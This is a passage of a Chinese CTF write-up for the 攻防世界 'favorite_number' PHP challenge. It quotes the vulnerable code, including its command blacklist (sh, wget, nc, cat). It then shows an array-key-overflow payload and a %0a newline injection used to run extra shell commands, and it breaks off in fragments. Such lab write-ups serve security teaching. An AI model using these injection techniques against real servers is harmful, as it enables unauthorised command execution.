[攻防世界]favorite_number

<?php
// php5.5.9
// 传参方式是post
$stuff = $_POST["stuff"];
// 白名单
$array = ['admin', 'user'];

// 既要数组强等于,又要首元素元素不等于
// 即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 
if($stuff === $array && $stuff[0] != 'admin') {
    // 取得另一个post参数
    $num= $_POST["num"];

    // 正则匹配,要求全是数字 /i --- 忽略大小写 ,/m --- 多行匹配
    if (preg_match("/^\d+$/im",$num)){

        // 黑名单过滤
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            // 命令执行
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
} 

关键要素:

php版本:5.5.9

通过post传两个值,一个$stuff,一个$num (num里的内容会被代码执行)

满足: 

  1. 既要数组强等于,又要首元素元素不等于。即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 。
  2. 第二个参数要全是数字,且使用黑名单过滤了常用的命令

那么 怎么绕过呢。。。这好像是矛盾的东西,百思不得其解,看了下大佬的wp

第一个参数的绕过方法:利用php5.5版本的数组key值溢出漏洞。当php数组的数字索引的值过大时会导致数组的索引值被重新分配。如下代码所示:

具体的解释可以看这篇文章:php数组key溢出问题

$array = ['admin', 'user'];
$stuff[4294967296]='admin';
$stuff[]='user';

print_r($stuff);
echo "<br />";

var_dump($stuff === $array);

运行后

 

我试了一下 只有4294967296这个数字可以重新被索引,其他的不行,我不知道什么原理 

构造一下payload:stuff[4294967296]=admin&stuff[]=user&num=789

 页面显示了我们输入的数字

接下来就是绕过第二个参数的过滤了,即:绕过正则来执行恶意的命令。他只允许num是数字,而我们需要用代码来命令执行。这里用到  %0a

ls看根目录

 cat /flag给过滤了

这里

-i 是代表文件的id号 

 

 


版权声明:本文为snowlyzz原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。